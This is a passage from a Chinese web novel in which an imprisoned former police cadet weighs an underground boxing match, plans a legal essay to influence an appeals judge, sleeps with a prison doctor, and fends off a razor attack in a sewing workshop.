大眼仔话里的意思再明白不过:上了码头帮的拳台,就是码头帮的人。笑面佛刚死,三监区眼下是码头帮和北佬帮对峙的局面,自己这根墙头草,两边都递过橄榄枝,也都划了线。现在选边站,等于把另一边彻底得罪死。
北佬帮那边,赵大金不是什么善茬。那人眼神里的东西,林燃看得懂——前警察的壳子底下,包着的是比混子更狠更绝的芯子。他要是知道自己给码头帮卖命打拳……
“燃哥,”大眼仔见他不语,又凑近些,声音压得更低,“我知道你顾虑什么。北佬帮那边,船爷自然会去打招呼。疤脸是硬,可你也不软。再说了……”他顿了顿,嘴角扯出个意味不明的笑,“打拳嘛,上了台,各凭本事。输赢之外的事,不用你操心。”
第一百二十五章 法治周刊
这话里有话。林燃抬起眼,看向大眼仔。对方那双总是带点笑意的眼睛里,此刻没什么多余的情绪,只有一种冷酷的务实。
“我需要时间想想。”林燃最终说,把最后一口粥倒进嘴里。粥已经凉透了,糊在喉咙里,有点噎。
“行。”大眼仔也不纠缠,直起身,“后天晚饭前,给我个准信。过时不候。”
他拍了拍林燃的肩膀,转身走了。码头帮那桌人很快吃完,簇拥着大眼仔离开食堂。经过北佬帮那桌时,两边人眼神碰了碰,没什么火花,但空气莫名紧了一下。
大眼仔那五千的价码,像块烧红的铁,烙在林燃脑子里。
一上午的劳动,他手里的缝纫机针脚都没乱,可心思早就飘到了锅炉房那块油腻腻的水泥地上。针头刺破布料的声音“哒哒”响,每一声都像是在倒计时。
短暂的午休,312监舍。
门刚关上,刀疤辉就憋不住了。
“燃哥,那拳不能打!”
他声音压得低,却像从喉咙里硬挤出来的,带着铁锈味。左手那根歪着接的小指不自觉蜷了蜷,仿佛又疼了起来。
林燃没吭声,坐在铺沿上,慢慢卷着囚服袖子。手臂上被白癜风手下划的那道口子结了层薄痂,像条暗红色的蜈蚣。
周晓阳拄着拐挪过来,脸上愁得能拧出水:“辉哥说得对……疤脸那人,我听说过。四监区有个老偷,就是看他打拳吓出毛病的——说那人拆人胳膊跟拆鸡翅膀似的,不带眨眼的。”
麻杆蹲在门口,耳朵贴着门板听外头动静,闻言回头插了句:“不止呢。上个月锅炉房那场,跟疤脸打的那个,现在还在医疗监区Ⅲ区躺着。右膝盖碎了,医生说就算好了也是废腿。那人以前是练散打的……”
“听见没?”刀疤辉急了,往前凑了半步,“燃哥,那不是猴子!猴子再狠,也就是个野路子。疤脸是越南地下拳场喂出来的,那地方打死人都不算新闻!你跟他打,万一……”
“万一输了,残了,或者死了。”林燃接了他的话,语气平静得像在说别人的事,“那一万块钱,我就没命花了。”
监舍里静了。
只有便池滴水的声音,隔一会儿“嗒”地一响,像秒针。
“可这钱,我需要。”林燃抬起头,目光从刀疤辉脸上扫到周晓阳,又落到麻杆缩着的背影上。
李昌东那头貔貅,喂多少都不够。上诉要打点,外面父母要钱,甚至苏念晚……哪一样能缺?
他顿了顿,声音更沉:“还有你们。跟着我,就得有跟着我的样子。现在笑面佛是倒了,可白癜风那伙人还盯着。彭振压着我,李昌东榨着我,北佬帮和码头帮两边都伸着手——我不站队,就能活?”
刀疤辉张了张嘴,没说出话。
周晓阳低下头,手指抠着拐杖头缠的破布。
道理谁都懂。监狱这地方,孤狼活不长。要么自己成狼王,要么找个狼群钻进去。林燃现在卡在中间,两边狼群都闻着他味,他自己这窝崽子还没养壮实。
“燃哥……”麻杆忽然转过身,脸有点白,“老程那边,我上午借着劳改上厕所的空,找他问了。”
“说。”
麻杆舔舔嘴唇,像是背书:“上诉到中院,一般三到六个月排期。但现在有‘严打’的风,可能加快。内部审查,关键看‘社会影响’和……和‘被害人态度’。哦对,法官偏好——老程说,中院有个谭副院长,管刑庭的,喜欢看犯人‘认罪态度’和‘悔罪表现’。要是能摸准他心思,写个东西递上去,说不定能加点分。”
“写东西?”刀疤辉拧眉,“咱犯人写悔过书不是常事吗?”
“不一样。”林燃摇摇头,眼神深了些,“老程还说什么了?”
麻杆想了想:“他说,谭副院长喜欢在《法治周刊》上发文章,讲什么‘刑罚目的’、‘教育矫正’。老程偷看过他办公室,书架上全是刑法学专著,还有外文书……对了,他说最近谭副院长好像在关注‘减假暂’的案子,监狱系统不是搞专项评查吗?”
林燃心里一动。
前几天在阅览室整理报纸,他确实瞥见过一条短讯:《我省司法系统开展“减假暂”案件专项评查》。当时没在意,现在串起来……
“老程要什么价?”他问。
麻杆伸出两根手指:“二百。他在四监区里,虽然没什么人歧视他,但是他级别又低,缺钱……。”
林燃从枕头底下摸出两卷烟——这在监区是硬通货,他偷偷留的底。
递给麻杆:“给他。再问清楚,谭副院长最近发过什么文章,关注哪类案子,倾向哪个刑法学派。”
麻杆接过钱,愣了愣:“燃哥,你问这些……干嘛?咱犯人懂这些有啥用?”
刀疤辉和周晓阳也看过来,眼里都是不解。
林燃没解释。
他想起前世瘫在病床上那十年,除了恨,唯一能做的就是看新闻、读报纸、琢磨那些他原本该穿着的警服背后,那些条文和程序是怎么运作的。
那些知识像锈蚀的刀,埋在他脑子里,这辈子终于有了磨刀石。
“有用。”他只说了两个字。
下午放风,操场。
天阴着,铅灰色的云压得很低,空气黏糊糊的。
林燃没去单杠,也没蹲墙角。他沿着操场中线那条模糊的白漆线慢跑,步子稳,呼吸匀。左侧是西南角——码头帮的地盘,大眼仔带着几个人蹲那儿抽烟,见他跑过来,抬手挥了挥。
林燃点头,没停。
右侧是东南角,北佬帮的人堆在那儿。赵大金没露面,小浙江站在人群最外沿,抱着胳膊,眼睛像两枚冰钉子,隔着十几米扎过来。
林燃迎着他的目光,继续跑。
三秒,五秒,十秒。
小浙江没动,只是眼神更冷。林燃转开视线,心里却沉了沉——那眼神里不止是警告,还有点别的,像在估量一件工具还能不能用。
“燃哥,”跟在侧后方的刀疤辉压低声音,“小浙江那眼神不对……像要杀人。”
第一百二十六章 交易?
“他在等我表态,北佬帮这边可能也知道我要接黑拳的事了。”林燃呼吸不乱,“我不动,他不动。”
话刚落,东北角方向晃过来三个人影。
白癜风打头,脖子上那道白斑在灰蒙蒙的天光下格外扎眼。他左右跟着两个生面孔,都是粗胳膊粗腿,走路肩膀晃着,一看就是打手的料。
两队人擦肩而过时,白癜风脚步顿了顿,侧过头,朝林燃啐了口唾沫。
那口痰没吐到人,砸在水泥地上,“啪”一声轻响。
“有的人,”白癜风没看林燃,眼睛盯着前头,声音却清清楚楚飘过来,“蹦跶不了几天了。下周?呵……”
他冷笑一声,带着人走了。
林燃停下脚步,弯腰做拉伸。手撑着膝盖,眼睛却盯着白癜风远去的背影,心里那根弦绷得更紧。
白癜风这话,不像单纯的威胁。
他可能已经搭上了某条线——北佬帮?还是码头帮里对他林燃不满的人?或者……彭振?
左腿胫骨传来隐约的酸胀感,那是旧伤在提醒他。林燃慢慢伸直腿,深吸了口气。
这局棋,越来越挤了。
…………
收工后,阅览室。
最近林燃因为上次的风波,也有了劳改任务,阅览室这边来的时间就少了。
但也好,他“下班”时间更晚了些,也更自由了。
今天下午,林燃借口整理过期报刊,留了下来。
老赵头揣着茶杯去开会了,阅览室里空荡荡的,只有霉味和灰尘在夕阳的光柱里翻滚。他走到最里头那排书架,抽出几本边角卷起的《武术》、《搏击》杂志,年份都是九八、九九年的。
手指在泛黄的纸页上快速划过。
泰拳、散打、拳击……都不是他要找的。直到翻到一本1999年第三期的《搏击》,内页有篇不起眼的文章,标题是:《黑拳阴影下的生存法则——越南地下拳场亲历记》。
林燃坐下来,就着窗外昏黄的光,一字一句地读。
文章是个自称“退役拳手”的人写的,笔触粗糙,但细节血淋淋。提到越南地下拳场不分量级、不限手段,致死致残常见。重点写了几种典型打法:
“肘过如刀,膝撞如锤……近身缠斗时,肘击肋下、喉结,膝顶腹股沟、心窝,都是杀招。”
“关节技多取自法式萨瓦特(Savate),融合本地摔跤手法……常见反关节锁,如腕锁、肘锁、肩锁,目的非制服,而是直接废掉肢体。”
林燃从抽屉里摸出半截铅笔,又抽了张过期报纸的空白边角,开始默画。
他警校时学过人体解剖,重生后这记忆反而更清晰。肩关节、肘关节、膝关节、踝关节……一个个在纸上勾勒出来,旁边用极小字标注弱点:肩关节前脱位最易,肘关节过伸脆弱,膝关节怕侧向猛击,踝关节……
“学这个干嘛?”
老赵头的声音忽然从身后响起。
林燃手一停,没回头,把报纸往杂志底下塞了塞:“闲着也是闲着。”
老赵头慢悠悠踱过来,端起桌上的冷茶喝了一口,眼睛却瞟着杂志封面那篇标题:“越南地下拳场……年纪轻轻的,看这个不嫌瘆得慌?”
林燃没接话。
老赵头放下茶杯,又仔细看了林燃几眼,像是确认了什么,接着。
声音压低了,像从牙缝里挤出来的:“锅炉房那地方,我在这这么多年……里头什么味儿,我清楚。打死人,拖出来,说是‘突发急病’,连个外伤都查不出。犯人嘛,命贱。”
他拍了拍林燃肩膀,力道不重,却沉:“有些钱,有命挣,没命花。想清楚了。”
说完,他背着手,晃晃悠悠走回门口那张破藤椅,坐下,闭目养神。
林燃捏着铅笔,没有回话,愣了一下,只能继续准备。
报纸边缘,他刚才画的那幅膝关节解剖图,髌骨、韧带、半月板……结构清晰得像教科书。而在膝盖外侧,他用铅笔画了个小小的叉。
那是疤脸最可能攻击的位置。
也是猴子当初想废了他,却没得手的地方。
晚饭后。
林燃以“旧伤复查”的名义,最后一拨进了医务室。
医务室走廊空荡荡的,消毒水的气味浓得呛人。刘长生的诊室门关着,里面隐约传出打电话的声音,语气急促,像是在争辩什么。林燃没停留,径直走到最里面的处置室。
苏念晚正在清点药柜,背对着门,白大褂在昏暗的灯光下显得格外单薄。听见脚步声,她回过头,看见是林燃,眼神晃了晃。
“哪儿不舒服?”她问,声音有点干。
“胫骨,有点酸。”林燃在诊床上坐下,卷起裤腿。
苏念晚走过来,手指冰凉,触到他小腿皮肤时,两人都顿了顿。她低头检查,长发垂下来,遮住了侧脸。林燃看见她睫毛在抖,很细微,像风里的叶子。
“没什么大事,”她说,手指却在他伤处多按了几下,“可能是天气问题……最近别太累。”
话像是对病人说的,可语气里那点颤,藏不住。
林燃“嗯”了一声。
两人的距离很近,近到能闻见她身上那股淡淡的栀子花香。
在充斥着消毒水和腐败气味的监狱里,这股香味显得格外突兀,甚至有点……奢侈。
苏念晚检查完伤处,直起身,却没收回手。她的指尖还搭在林燃小腿上,微微发颤。
医务室的灯光是惨白色的,照得她脸色更白,眼下的青黑遮不住。这几天她明显瘦了,下巴尖得能戳人,由上往下看,锁骨在领口处凸出清晰的轮廓……
还有两团雪白。
察觉到男人的目光,苏念晚下意识的要捂住领口,但很快反应过来。
对面是林燃。
“林燃……”她反而往前挪了半步,几乎贴到他腿边,“我知道我欠你的。那一万块钱……还有之前的事……我这辈子都还不清。”
“不用还。”林燃说,语气缓和:“你情我愿的交易。”
“不是交易!”苏念晚突然激动起来,声音拔高又迅速压下去,“不是……至少现在不是。”
第一百二十七章 依靠
她的手从林燃小腿移开,转而抓住他的手腕。那双手冰凉,抖得厉害,但攥得很紧。
“我每天晚上都做噩梦……梦见笑面佛躺在地上,眼睛瞪着我……梦见警察来抓我,说我谋杀……梦见我母亲透析到一半,没人交钱,机器停了……”她语无伦次,眼泪大颗大颗砸下来,“只有想到你……想到你还在,我才觉得……觉得还能喘口气。”
林燃沉默地看着她。
他前世瘫痪十年,见过太多人在绝境里的样子。崩溃的、麻木的、疯狂的、最后彻底放弃的。苏念晚现在就在崩溃边缘,她抓住他,就像溺水的人抓住浮木。
而他需要这根浮木吗?
需要。
医务室内线、药品渠道、甚至未来可能需要的医疗证明……
苏念晚的价值远不止那一万块钱。
这些是他原本对苏念晚的评价。
一个实用的工具……甚至是发泄欲望的器具。
但不知什么时候起,这个女人一次次在自己面前暴露弱点后,林燃对她的感情就有些变化。
他明白,情感羁绊是双刃剑,绑得太紧,容易反噬。
“别哭了。”他最终说,用没被她抓住的那只手,抹了抹她脸上的泪。
这个动作很轻,甚至称不上温柔,但苏念晚浑身一颤,眼泪流得更凶。她突然往前一扑,整个人撞进林燃怀里,双臂死死环住他的腰。
林燃身体僵了僵。
怀里的躯体单薄、颤抖,带着栀子花香和眼泪的咸湿。他能感觉到她心跳得又快又乱,像只受惊的鸟。
“林燃……”她把脸埋在他肩窝,声音闷闷的,“我……能不能……能不能……依靠你?”
她没说完,但意思到了。
林燃闭上眼睛。
窗外雨声渐大,噼里啪啦打在玻璃上。医务室里只有惨白的灯光、浓烈的消毒水味、怀里女人的颤抖和自己的心跳。
他想起前世瘫痪后,母亲第一次来探视。
那时他已经说不出话,只能用眼睛看着母亲。母亲握着他的手,说了很多话,最后一句是:“燃燃,妈知道你委屈……但活着,比什么都强。”
活着。
他重生回来,不就是为了活着吗?活着翻案,活着报仇,活着走出这该死的监狱。
而现在,怀里的这个女人,也在用她的方式求生。
林燃的手慢慢抬起来,落在苏念晚背上。动作有些生硬,但还是轻轻拍了拍。
“我会管你。”他说。
苏念晚猛地抬头,泪眼模糊地看着他。然后,像是下了某种决心,她突然踮起脚,吻住了他的唇。
这个吻仓促、笨拙、带着咸涩的泪味。
前世加今生,多少年。
警校时没谈过恋爱,入狱那段时间更不可能,瘫痪后……那是段他不愿回忆的日子。
现在,在这个充斥着消毒水和罪恶的医务室里,一个被他用把柄控制、被他用金钱施恩、被他用仅有的那点温情拴住的女人,正在吻他。
他该推开吗?
理智说应该。
但他没有。
他的手从她背上滑到后颈,微微用力,把这个吻加深了。动作同样生涩,但带着某种破釜沉舟的狠劲——既然已经陷在泥潭里,那就一起往下沉吧。
窗外雨势滂沱。
医务室的门紧闭,插销牢牢锁着。惨白的灯光下,两具身体纠缠在一起,像两只在暴风雨里互相撕咬又互相依偎的兽。
喘息声、衣物摩擦声、压抑的呜咽声,混杂在雨声里,最终都消散在监狱厚重的高墙之内。
不知过了多久,一切平息。
苏念晚趴在林燃胸前,手指无意识地在他锁骨上划着圈。她的脸红得厉害,睫毛上还挂着泪珠,但眼神里多了点不一样的东西——某种孤注一掷的依赖。
“林燃,”她轻声说,声音还带着情事后的沙哑。
“我发现我有点喜欢你了。”
“你是我的人,我不会抛下你。”林燃轻轻说完,然后拉开门,走进走廊。
雨声瞬间涌进来,又被关上的门隔绝。
雨还在下,越来越大,砸在监狱的水泥地上,溅起一片白茫茫的水雾。远
处放风场空无一人,铁丝网上挂着的雨珠连成线,像一道流动的栅栏。
他站走廊,看着雨幕,脑子里开始复盘今天的所有信息:
黑拳的风险、谭副院长的文章、李昌东的胃口、白癜风的威胁、北佬帮和码头帮的角力……
活下去。
翻案。
走出去。
这三个目标像三根钉子,钉在他脑子里。而现在,每一根钉子上都挂满了筹码、陷阱和未知。
他深吸一口气,向不远处坐着看报纸的值班狱警报告,跟着朝312监舍的方向回去。
…………
雨下到第三天,总算见了晴。
放风场的水泥地还没干透,踩上去有点黏脚。
林燃沿着操场边慢跑,左腿胫骨的酸胀感还在,但比前两天轻了些。他数着自己的步子,心里那笔账也跟着步子一笔笔算。
一万块。
打黑拳的价码像块秤砣,沉甸甸坠在胃里。昨天晚饭前,他给了大眼仔准信——打。
这事儿没瞒着312的人。刀疤辉当时脸就白了,周晓阳拄着拐在监舍里转圈,连平时不怎么吭声的牛哥都嘟囔了句“太险”。
只有麻杆缩在角落,眼睛亮得反常。
“燃哥,”昨晚熄灯前,麻杆蹭过来,声音低沉激动,“老程那边……有回信了。”
林燃睁开眼:“说。”
他说不上是兴奋还是紧张。
从囚服内袋里摸出张叠成指甲盖大小的纸片,边缘都磨毛了,汗渍浸得字迹晕开一片。
讨好的对着上面记下来的内容念了起来:
“老程说,谭副院长上个月在《法治周刊》发了篇长文,叫《论刑罚个别化在重刑犯改造中的实践困境》。”
麻杆舔舔嘴唇,尽量复述得一字不差,
他一个没什么文化的小偷,此时念起老程笔记的样子不伦不类,特别说起法律名词的样子,更是好笑,但林燃听得认真,脸上毫无笑意。
“他说,这老头儿最近盯‘减假暂’案子盯得紧,尤其关注‘再犯风险评估’和‘社会危险性评估’这两块。哦对,他还说谭副院长是‘目的刑论’的信徒,办公室里摆着贝……贝壳什么……”
第一百二十八章 监狱里写论文
“是贝卡利亚。”
林燃听到“目的刑论”这个词,就猜出了渊源。
“这是贝卡利亚和龙勃罗梭的书,叫《Crime and Punishment》。”
“哇,老大,你太厉害了,这都知道。”
麻杆正苦于不知道怎么念下面的英文,但林燃不用看,就说出来答案。
无视手下的惊叹,林燃思索起来。
“目的刑论……”他低声重复。
这词儿在前世不算陌生,警校刑侦课提过一嘴,后来瘫痪卧床那十年,他啃了不少法律书,理论派和实践派的争论也看过些皮毛。
简单说,目的刑论看重刑罚对社会的预防效果,更关注犯人将来会不会再犯,而不是单纯报复。
这信息有用。
“老程还说什么了?”林燃问。
麻杆想了想:“他说,“老程说,谭副院长审案子有个习惯——喜欢看犯人自己写的材料。不是那种格式化的悔过书,是……有点像小论文,讲自己对罪行的认识、对法律的理解、还有改造计划。他管这叫‘犯人的自省深度’。写得越具体、越像那么回事,他越爱看。以前有个诈骗犯,就是写了份十几页的‘诈骗手法心理分析及自我矫治方案’,减刑半年。”
刀疤辉在旁边嗤了一声:“这不就是变着法儿拍马屁吗?”
“是拍马屁。”林燃把纸片小心展平,“但得拍对地方。”
这信息很关键。
脑子里那根弦绷紧了,又松开。像弓弦拉满,箭在弦上。
不知不觉中,林燃找到了思路。
“给老程再加两包烟。”他说。
麻杆应了声,缩回自己铺位。
夜里熄灯后,林燃没睡。
窗外的雨声哗啦啦响,监舍里其他人都睡了,鼾声起伏。黑暗里,他能听见自己心跳的声音,一下,又一下。
“自省深度……”林燃重复了一遍,嘴角扯了扯。
有点意思。
他准备写东西递上去,但不准备光喊冤。
他准备得绕弯子。比如,写篇关于‘运输毒品罪主观要件认定’的文章,表面是探讨法律问题,实际里头塞自己的案情——怎么被蒙骗、怎么不知情、证据链哪里有问题。
谭副院长既然喜欢看这个,那他应该能看出这案子的蹊跷!
……
第二天放风,林燃跑完第五圈,在单杠边停下。
刀疤辉凑过来,讨好的递过来一张汗巾——其实就一块洗得发白的破布。林燃接过来擦了把脸,汗味混着监狱特有的霉味儿,冲鼻子。
“燃哥,”刀疤辉左右看看,压低声音,“你真要打?”
“钱都谈好了。”
“可那是疤脸……”刀疤辉喉咙动了动,“我打听过了。上个月四监区那场,跟他打的是个练泰拳的,以前在东南亚打过黑拳。上场前放话要废了疤脸一条腿。结果呢?自己右胳膊被反关节拧断,肘子都翻过来了,现在吃饭都得人喂。”
林燃没接话,双手抓住单杠,引体向上。
一个,两个,三个……
左臂的力量还没完全恢复,拉到第六个时,肱二头肌开始发酸。他咬牙又做了四个,跳下来时喘了口气,汗从额角滴到水泥地上,很快洇开一小片深色。
“我知道他狠。”林燃说,声音平静,“可这拳,我不打不行。”
刀疤辉张了张嘴,没说出话。
林燃转头看他。这个曾经的三监区312的牢头,现在左手小指歪着,脸上多了道疤,眼神里那股混不吝的劲儿淡了,换成一种焦躁的担忧。
人真是会变的。
“辉子,”林燃忽然问,“你认不认识以前跟疤脸交过手的人?”
刀疤辉愣了下:“有倒是有……四监区有个老瘸子,姓马,以前是体校摔跤队的。去年跟疤脸打过一场,左膝盖废了,现在走路都拖着腿。他后来一直蹲小号,最近才放出来。”
“能说上话吗?”
“我跟他……不算熟。”刀疤辉犹豫了下,“但麻杆可能行。那老瘸子喜欢抽卷烟,麻杆手里有货。”
林燃点点头:“让麻杆去问。不用问怎么打赢疤脸——就问疤脸的习惯。开场喜欢怎么试探?习惯先出左腿还是右腿?近身后第一下喜欢用什么招?还有,他弱点在哪。”
刀疤辉眼睛亮了下:“懂了!我让麻杆去办。”
“小心点,”林燃补了句,“别让北佬帮的人看见。”
“放心。”
刀疤辉转身要走,林燃又叫住他。
“还有,”林燃顿了顿,“帮我搞点东西。”
“啥?”
“布袋。不用太大,能装东西,能挂在监舍里就行。”林燃活动了下手腕,“再弄点绷带——医用绷带不行,太显眼。找点破布条,结实点的。”
刀疤辉怔了怔,随即反应过来:“燃哥,你要在监舍里练?”
“不然呢?”林燃扯了扯嘴角,“你当这有健身房啊。只能在监舍里凑合。”
刀疤辉重重点头:“成!我想办法。”
他走了,背影在湿漉漉的操场上拉得很长。
林燃重新抓住单杠,又开始引体向上。
一个,两个,三个……
左臂的酸痛越来越明显,像有根针在肌肉里钻。他咬紧牙,额头的青筋跳了跳。
一万块。
谭副院长的文章。
疤脸的关节技。
还有苏念晚昨晚那句话——“我发现我有点喜欢你了。”
所有的线缠在一起,拧成一股绳,勒在他脖子上。越勒越紧。
他做了第十五个引体向上,跳下来时眼前黑了一瞬。扶着单杠站稳,喘了几口气,喉咙里全是铁锈味。
不能倒。
倒下去,就什么都完了。
…………
下午劳动,缝纫车间。
林燃被分到锁边组,坐在靠窗的位置。窗外是监狱的高墙,墙头电网在阴天里泛着冷光。缝纫机哒哒响,针脚在布料上走得飞快,他却有点走神。
脑子里那篇文章,已经开始有了轮廓。
题目要长得像学术论文,才能让谭副院长多看两眼。开头得引用几句刑法条文,显得专业。中间部分……可以夹带私货了。
第一百二十九章 袭击
比如,写写毒品犯罪中“控制下交付”的侦查手段,以及这种手段可能导致的冤案风险。再比如,讨论下“特情引诱”和“犯意引诱”的界限——他当年那案子,到底算是哪种?
笔在他手里,怎么写,他说了算。
但得写得巧妙。不能像喊冤状,要像一篇冷静、客观、甚至带点批判性的法律评论。最好再引用几篇国外判例,显得他视野开阔。
林燃扯了扯嘴角。
这招他前世见过。有个老犯人,诈骗罪进来的,以前是大学老师。在监狱里写了篇关于金融监管的文章,发在内部刊物上,被某个来视察的领导看见了,后来减刑提前出狱。
知识就是力量——在这种地方,有时候真是。
“林燃。”
管教老严的声音突然在身后响起。
林燃手一停,针尖差点扎到手指。他转过身,老严站在那儿,鱼泡眼耷拉着,脸上没什么表情。
“到。”
“你发什么呆!你的线都快走歪了。”老严恶狠狠的盯了他一眼,警棍在他的手边用力敲了一下。
这是明显找茬来着。
之前他靠着李昌东的关系,怼过老严,这老东西一直想寻机报复,碍于李昌东,不敢动手。
最近风波骤起,估计看到林燃都被下放到劳动车间,就认为这小子失势了,今天就来试探一下。
林燃心里不爽,但此时人家是干部,他只能先憋着。
周围几个犯人偷眼看过来,眼神复杂。
有些不敢嘲笑林燃,但之前笑面佛的那批人,此时脸色不善。
现在领头的白癜风,此时更是坐在斜对角靠墙的临时监工位上——那位置平时空着,今天却特意搬了张桌子。
说是“协助管理生产纪律”,估计是不知搭上什么线,弄了个轻快事。
看来从笑面佛死后,这帮人本来要覆灭,但估计幕后势力见情况不妙,又给他们续了一口。
呵,还以为自己帮派有以前的地位。
可谁都知道,笑面佛倒了,他手下这群人像没头苍蝇,凑在一起也是嗡嗡嗡乱飞,白癜风这是趁机想立威,坐上老大位置。
此时白癜风见林燃被训,更是冲他咧了咧嘴,笑得阴冷。
这点雕虫小技。
让你得意一下吧。
林燃没怎么理会这人。
他只能先把注意力集中在手上的活计。
车间里的空气,粘稠得能拧出机油味儿。
三百多台缝纫机同时开动,嗡嗡的低频噪音塞满耳朵,像一群永不疲倦的金属蜂群。
日光灯管悬得高,惨白的光落下来,把每个埋头干活儿的犯人照得面色青灰,影子在水泥地上拖得老长。
林燃的位置靠窗,三号流水线第七台。
窗外是高墙和电网,除此之外,什么也看不见。
他手指按着深蓝色的工装裤布料,缝纫机针头上下跳动,哒哒哒,针脚细密均匀。
活儿干得快。
眼角的余光,像把无形的扫帚,缓慢地、不着痕迹地扫过整个车间。
白癜风,在那个“监工”位置上,坐得四平八稳,手里端着个掉漆的搪瓷缸,半天没喝一口,眼睛却眯着,时不时往林燃这边瞟。那眼神,冷的,带着钩子。
林燃没跟他对视,目光滑开,落在自己斜对面。
那工位上是个生面孔,三十出头,嘴唇有道明显的旧豁口,一直咧到腮帮子,缝合的针脚像条扭曲的蜈蚣。
这人外号就叫“豁嘴”,盗窃罪进来的,手底下不干净,是白癜风最近收拢的心腹。
豁嘴显然不太熟悉缝纫机。
动作僵硬,频繁地弯腰去调整皮带轮,又时不时抬头,眼神往林燃的机台上溜。那样子,不像是来干活的,倒像是在找什么东西的。
空气里有股不寻常的紧绷感,混在机油味里,沉甸甸的。
林燃手下没停,脑子里那根弦却一点点拧紧了。
他注意到更多细节:
负责这片区域的狱警老严,平时咋咋呼呼的,喜欢背着手在过道里晃悠,骂人声音能掀翻屋顶,一路走到哪就骂到哪。
今天却异常安静,只骂了自己一句,然后就站在车间门口的电源总闸旁边,背对着众人,肩膀有些僵硬,也不干什么,只偶尔回头盯自己几眼。
老严好赌,欠了一屁股债。这事儿林燃听刀疤辉提过一嘴,说老严以前跟笑面佛手下的放贷人有牵扯,债还没清。笑面佛死了,债主换了白癜风,这层关系就微妙了。
针头“哒”一声,缝完最后一条裤边。林燃伸手去拿下一片裁好的布料,动作自然,身体却一下紧绷了。
想匍匐的猎豹,随时准备出击。
他眼睛的余光,始终锁着豁嘴。
斜对面的犯人豁嘴似乎有些焦躁,又弯腰去弄他那台机器,这次动作幅度大了些,身体侧倾,右臂看似无意地朝着林燃这边挥动,脚下也踉跄了一下——
这是要动手了?!
就是现在!
一点寒芒,藏在他的右手指间。
此时正从这个惯偷的手里,向自己的喉咙间划过来!
这点寒芒来的飞快。
眨眼就已经到了眼前。
甚至让林燃都看清了豁嘴手里夹的是什么!
那是一片剃须刀!
正是他这种惯偷擅长的工具!
划包是小偷的“必备技能”。
干这行,炼的就是两根手指活,这下来的太快,几乎避无可避。
但他没想到的是,他要对付的是一名警校最优秀的毕业生。
而且还是已经有防备的警校生。
林燃几乎在豁嘴肩膀发力的同时,左脚脚跟不着痕迹地一旋,身体借着腰力往右侧一让。
动作很小,快得像是被机器震了一下。同时,他的左脚,此时顺势悄无声息地伸出去,精准地绊在豁嘴向前探出的右脚踝上。
“哎哟!”
豁嘴惊呼一声,整个人彻底失去了平衡,不是扑向林燃,而是被那股绊力带得朝前猛冲,右臂抡圆了,“砰”地一下,结结实实撞在了他自己那台缝纫机高速跳动的针板上!
“啊——!!!”
凄厉的惨叫声瞬间刺穿了车间的噪音。
第一百三十章 知己知彼
豁嘴猛地缩回手,手掌心上,一根亮闪闪的缝纫针从手背直透出来,针尖上还挂着血珠和一丝皮肉。他握着手腕,痛得整个人蜷缩下去,脸色惨白如纸,额头上冷汗涔涔。
车间里的缝纫机声稀稀拉拉地停了下来,所有人都扭头看过来。
白癜风“腾”地一下从监工位上站起来,搪瓷缸“哐当”摔在地上。他脸色铁青,眼神像刀子一样剜向门口的老严。
老严已经慌了神,跑过来看到豁嘴手上的针,又看到林燃好端端坐在那儿,嘴唇哆嗦着,一句话也说不出来。
“怎么回事!”低沉的喝问从车间门口传来。
狱侦科长谷彦君带着两个年轻狱警,不知何时已经站在那里。他穿着笔挺的制服,脸上没什么表情,目光扫过惨叫的豁嘴、僵立的老严、脸色难看的白癜风,最后落在平静起身的林燃脸上。
林燃立正站好,声音清晰平稳:“报告谷科长。这位同改(注:监狱中对其他犯人的称呼)好像操作失误,绊了一下,手撞到自己机器针板上了。”
他说得简单,没提任何猜测,只是陈述自己看到的部分事实。
谷彦君没说话,走到豁嘴跟前,低头看了看他穿透手掌的针,又看了看地上。豁嘴刚才踉跄的地方,干干净净,什么都没有。林燃脚边也干干净净。
这光天化日,怎么就摔了?
但他没细想。
“送医务室。”谷彦君对身后狱警挥挥手,然后看向老严,“老严,你负责的区域,连续出现机器故障和操作事故,要配合我们调查一下。”
老严腿一软,差点瘫下去。
谷彦君这才把目光转向白癜风:“白建国,你是临时监工,劳动期间发生事故,有督导不力的责任。写份情况说明,明天交到我办公室。都看什么看?继续干活!”
车间里重新响起缝纫机的声音,但比之前压抑了许多。
谷彦君转身离开,经过林燃身边时,脚步似乎微不可查地顿了一下,侧脸看了他一眼。那眼神很深,没什么情绪,却又像把什么都能看透。林燃垂下眼皮,只当没看见。
直到谷彦君的脚步声消失在车间外,林燃才慢慢坐回工位。他没有立刻开始干活,而是等了几分钟,对旁边工位一个一直埋头干活、看似老实巴交的中年犯人使了个眼色,微微点了点头。
那犯人愣了一下,随即也几不可察地点了下头,继续低头猛踩缝纫机,仿佛刚才的一切都没发生。
放工回监舍的路上,周晓阳拄着拐蹭到林燃身边,压低声音,带着点后怕和兴奋:“燃哥,刚才吓死我了……你没事吧?”
“没事。”林燃脚步不停。
“那个豁嘴……”刀疤辉也凑过来,声音压得更低,“手算是废了一半。我听说,针扎穿了肌腱,就算治好,以后那手指头也别想灵活了。”
林燃“嗯”了一声。这就是监狱,一次失败的“意外”,代价可能就是某个零件永久的损毁。他想起豁嘴扑倒前,白癜风那瞬间变得极其难看的脸色,以及老严被带走时面如死灰的样子。
白癜风这次,算是折了颗棋子,还暴露了老严这条线。谷彦君那种人,不会看不出这里头的名堂。老严一查,白癜风少不了麻烦。
但这只是开始。白癜风吃了这么大个亏,只会更恨。
回到312监舍,铁门关上。林燃从枕头底下摸出半包烟,抽出两根,递给刀疤辉:“给刚才车间里,咱们旁边工位那个……好像叫老刘吧。今天的事,让他把嘴闭紧。”
林燃这样做,是因为之前和豁嘴动手时,旁边的犯人看的清楚,以防万一,给点甜头,不让旁证指证自己,算是买个保险。
刀疤辉接过烟,心领神会:“明白。两包烟,够他乐呵一阵子了。”
林燃走到窗边,看着外面逐渐暗下来的天色。高墙上的探照灯还没亮,天空是浑浊的深蓝色。车间里那场短暂的交锋过去了,但紧绷感并没有消失,反而像这暮色一样,沉沉地压了下来。
黑拳,谭副院长的文章,白癜风的报复,北佬帮和码头帮的注视……所有的事情都挤在眼前。他需要钱,需要机会,需要在这四面高墙里,找到一条能走出去的缝。
手指无意识地摸到囚服内袋,那里藏着苏念晚给的手术刀片,冰凉的金属触感透过布料传来。还有那份正在心里反复打磨的文章提纲。
路得一步步走,棋得一步步下。
而现在最要紧的一步险棋,就是要在黑拳场上打败疤脸。
这是生死攸关的一战。
知己知彼,百战百胜。
